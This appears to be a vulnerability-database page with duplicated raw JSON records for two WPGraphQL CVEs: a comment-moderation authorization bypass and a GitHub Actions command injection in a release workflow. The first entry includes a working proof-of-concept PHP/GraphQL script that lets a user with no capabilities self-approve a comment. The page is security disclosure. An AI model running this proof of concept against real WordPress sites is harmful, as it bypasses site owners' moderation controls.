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4 vulnerabilities found for wp-graphql by wp-graphql
CVE-2026-33290 (GCVE-0-2026-33290)
Vulnerability from nvd – Published: 2026-03-23 23:58 – Updated: 2026-03-24 18:38
VLAI?
Title
WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission
Summary
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Severity ?
4.3 (Medium)
CWE
- CWE-862 - Missing Authorization
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| wp-graphql | wp-graphql |
Affected:
< 2.10.0
|
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"value": "WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n npm install\n npm run wp-env start\n\n2. Run this PoC:\n\n```\n npm run wp-env run cli -- wp eval \u0027\n add_role(\"no_caps\",\"No Caps\",[]);\n $user_id = username_exists(\"poc_nocaps\");\n if ( ! $user_id ) {\n $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n }\n $user = get_user_by(\"id\",$user_id);\n $user-\u003eset_role(\"no_caps\");\n\n $post_id = wp_insert_post([\n \"post_title\" =\u003e \"PoC post\",\n \"post_status\" =\u003e \"publish\",\n \"post_type\" =\u003e \"post\",\n \"comment_status\" =\u003e \"open\",\n ]);\n\n $comment_id = wp_insert_comment([\n \"comment_post_ID\" =\u003e $post_id,\n \"comment_content\" =\u003e \"pending comment\",\n \"user_id\" =\u003e $user_id,\n \"comment_author\" =\u003e $user-\u003edisplay_name,\n \"comment_author_email\" =\u003e $user-\u003euser_email,\n \"comment_approved\" =\u003e \"0\",\n ]);\n\n wp_set_current_user($user_id);\n\n $result = graphql([\n \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n ]);\n\n echo wp_json_encode([\n \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n \"comment_id\" =\u003e $comment_id\n ]);\n \u0027\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content."
}
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"baseScore": 4.3,
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"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
}
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},
"references": [
{
"name": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh",
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"x_refsource_CONFIRM"
],
"url": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh"
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"url": "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0"
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"discovery": "UNKNOWN"
},
"title": "WPGraphQL Repo\u0027s updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission"
}
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"datePublished": "2026-03-23T23:58:57.345Z",
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"state": "PUBLISHED"
},
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"dataVersion": "5.2"
}
CVE-2026-27938 (GCVE-0-2026-27938)
Vulnerability from nvd – Published: 2026-02-26 01:10 – Updated: 2026-02-26 19:22
VLAI?
Title
WPGraphQL Repo Vulnerable to Command Injection via Unsanitized GitHub Actions Expression in Release Workflow
Summary
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.9.1, the `wp-graphql/wp-graphql` repository contains a GitHub Actions workflow (`release.yml`) vulnerable to OS command injection through direct use of `${{ github.event.pull_request.body }}` inside a `run:` shell block. When a pull request from `develop` to `master` is merged, the PR body is injected verbatim into a shell command, allowing arbitrary command execution on the Actions runner. Version 2.9.1 contains a fix for the vulnerability.
Severity ?
7.7 (High)
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| wp-graphql | wp-graphql |
Affected:
< 2.9.1
|
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"timestamp": "2026-02-26T19:22:31.745230Z",
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}
],
"metrics": [
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"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.7,
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"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
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}
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CVE-2026-33290 (GCVE-0-2026-33290)
Vulnerability from cvelistv5 – Published: 2026-03-23 23:58 – Updated: 2026-03-24 18:38
VLAI?
Title
WPGraphQL Repo's updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission
Summary
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.
### Details
In WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.
- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.
- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.
- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).
This means a non-moderator owner can submit status during update and transition moderation state.
### PoC
Tested in local wp-env (Docker) with WPGraphQL 2.9.1.
1. Start environment:
npm install
npm run wp-env start
2. Run this PoC:
```
npm run wp-env run cli -- wp eval '
add_role("no_caps","No Caps",[]);
$user_id = username_exists("poc_nocaps");
if ( ! $user_id ) {
$user_id = wp_create_user("poc_nocaps","Passw0rd!","poc_nocaps@example.com");
}
$user = get_user_by("id",$user_id);
$user->set_role("no_caps");
$post_id = wp_insert_post([
"post_title" => "PoC post",
"post_status" => "publish",
"post_type" => "post",
"comment_status" => "open",
]);
$comment_id = wp_insert_comment([
"comment_post_ID" => $post_id,
"comment_content" => "pending comment",
"user_id" => $user_id,
"comment_author" => $user->display_name,
"comment_author_email" => $user->user_email,
"comment_approved" => "0",
]);
wp_set_current_user($user_id);
$result = graphql([
"query" => "mutation U(\$id:ID!){ updateComment(input:{id:\$id,status:APPROVE}){ success comment{ databaseId status } } }",
"variables" => [ "id" => (string)$comment_id ],
]);
echo wp_json_encode([
"role_caps" => array_keys(array_filter((array)$user->allcaps)),
"status" => $result["data"]["updateComment"]["comment"]["status"] ?? null,
"db_comment_approved" => get_comment($comment_id)->comment_approved ?? null,
"comment_id" => $comment_id
]);
'
```
3. Observe result:
- role_caps is empty (or no moderate_comments)
- mutation returns status: APPROVE
- DB value becomes comment_approved = 1
### Impact
This is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content.
Severity ?
4.3 (Medium)
CWE
- CWE-862 - Missing Authorization
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| wp-graphql | wp-graphql |
Affected:
< 2.10.0
|
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"content": {
"id": "CVE-2026-33290",
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"timestamp": "2026-03-24T18:38:22.291114Z",
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"value": "WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.10.0, an authorization flaw in updateComment allows an authenticated low-privileged user (including a custom role with zero capabilities) to change moderation status of their own comment (for example to APPROVE) without the moderate_comments capability. This can bypass moderation workflows and let untrusted users self-approve content. Version 2.10.0 contains a patch.\n\n### Details\n\nIn WPGraphQL 2.9.1 (tested), authorization for updateComment is owner-based, not field-based:\n\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:92 allows moderators.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:99:99 also allows the comment owner, even if they lack moderation capability.\n- plugins/wp-graphql/src/Data/CommentMutation.php:94:94 maps GraphQL input status directly to WordPress comment_approved.\n- plugins/wp-graphql/src/Mutation/CommentUpdate.php:120:120 persists that value via wp_update_comment.\n- plugins/wp-graphql/src/Type/Enum/CommentStatusEnum.php:22:22 exposes moderation states (APPROVE, HOLD, SPAM, TRASH).\n\nThis means a non-moderator owner can submit status during update and transition moderation state.\n\n### PoC\n\nTested in local wp-env (Docker) with WPGraphQL 2.9.1.\n\n1. Start environment:\n\n npm install\n npm run wp-env start\n\n2. Run this PoC:\n\n```\n npm run wp-env run cli -- wp eval \u0027\n add_role(\"no_caps\",\"No Caps\",[]);\n $user_id = username_exists(\"poc_nocaps\");\n if ( ! $user_id ) {\n $user_id = wp_create_user(\"poc_nocaps\",\"Passw0rd!\",\"poc_nocaps@example.com\");\n }\n $user = get_user_by(\"id\",$user_id);\n $user-\u003eset_role(\"no_caps\");\n\n $post_id = wp_insert_post([\n \"post_title\" =\u003e \"PoC post\",\n \"post_status\" =\u003e \"publish\",\n \"post_type\" =\u003e \"post\",\n \"comment_status\" =\u003e \"open\",\n ]);\n\n $comment_id = wp_insert_comment([\n \"comment_post_ID\" =\u003e $post_id,\n \"comment_content\" =\u003e \"pending comment\",\n \"user_id\" =\u003e $user_id,\n \"comment_author\" =\u003e $user-\u003edisplay_name,\n \"comment_author_email\" =\u003e $user-\u003euser_email,\n \"comment_approved\" =\u003e \"0\",\n ]);\n\n wp_set_current_user($user_id);\n\n $result = graphql([\n \"query\" =\u003e \"mutation U(\\$id:ID!){ updateComment(input:{id:\\$id,status:APPROVE}){ success comment{ databaseId status } } }\",\n \"variables\" =\u003e [ \"id\" =\u003e (string)$comment_id ],\n ]);\n\n echo wp_json_encode([\n \"role_caps\" =\u003e array_keys(array_filter((array)$user-\u003eallcaps)),\n \"status\" =\u003e $result[\"data\"][\"updateComment\"][\"comment\"][\"status\"] ?? null,\n \"db_comment_approved\" =\u003e get_comment($comment_id)-\u003ecomment_approved ?? null,\n \"comment_id\" =\u003e $comment_id\n ]);\n \u0027\n```\n\n3. Observe result:\n\n- role_caps is empty (or no moderate_comments)\n- mutation returns status: APPROVE\n- DB value becomes comment_approved = 1\n\n### Impact\n\nThis is an authorization bypass / broken access control issue in comment moderation state transitions. Any deployment using WPGraphQL comment mutations where low-privileged users can make comments is impacted. Moderation policy can be bypassed by self-approving content."
}
],
"metrics": [
{
"cvssV3_1": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 4.3,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "NONE",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
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"cweId": "CWE-862",
"description": "CWE-862: Missing Authorization",
"lang": "en",
"type": "CWE"
}
]
}
],
"providerMetadata": {
"dateUpdated": "2026-03-23T23:58:57.345Z",
"orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
"shortName": "GitHub_M"
},
"references": [
{
"name": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh",
"tags": [
"x_refsource_CONFIRM"
],
"url": "https://github.com/wp-graphql/wp-graphql/security/advisories/GHSA-9hc3-mh5h-4fgh"
},
{
"name": "https://github.com/wp-graphql/wp-graphql/releases/tag/wp-graphql%2Fv2.10.0",
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],
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"discovery": "UNKNOWN"
},
"title": "WPGraphQL Repo\u0027s updateComment allows low-privileged authenticated users to change comment moderation status (comment_approved) without moderate_comments permission"
}
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"cveMetadata": {
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"dateReserved": "2026-03-18T18:55:47.426Z",
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CVE-2026-27938 (GCVE-0-2026-27938)
Vulnerability from cvelistv5 – Published: 2026-02-26 01:10 – Updated: 2026-02-26 19:22
VLAI?
Title
WPGraphQL Repo Vulnerable to Command Injection via Unsanitized GitHub Actions Expression in Release Workflow
Summary
WPGraphQL provides a GraphQL API for WordPress sites. Prior to version 2.9.1, the `wp-graphql/wp-graphql` repository contains a GitHub Actions workflow (`release.yml`) vulnerable to OS command injection through direct use of `${{ github.event.pull_request.body }}` inside a `run:` shell block. When a pull request from `develop` to `master` is merged, the PR body is injected verbatim into a shell command, allowing arbitrary command execution on the Actions runner. Version 2.9.1 contains a fix for the vulnerability.
Severity ?
7.7 (High)
CWE
- CWE-78 - Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Assigner
References
| URL | Tags | |||||||
|---|---|---|---|---|---|---|---|---|
|
||||||||
Impacted products
| Vendor | Product | Version | ||
|---|---|---|---|---|
| wp-graphql | wp-graphql |
Affected:
< 2.9.1
|
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{
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{
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],
"role": "CISA Coordinator",
"timestamp": "2026-02-26T19:22:31.745230Z",
"version": "2.0.3"
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"providerMetadata": {
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}
],
"metrics": [
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"cvssV3_1": {
"attackComplexity": "HIGH",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.7,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
}
}
],
"problemTypes": [
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"descriptions": [
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"cweId": "CWE-78",
"description": "CWE-78: Improper Neutralization of Special Elements used in an OS Command (\u0027OS Command Injection\u0027)",
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}
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"source": {
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"discovery": "UNKNOWN"
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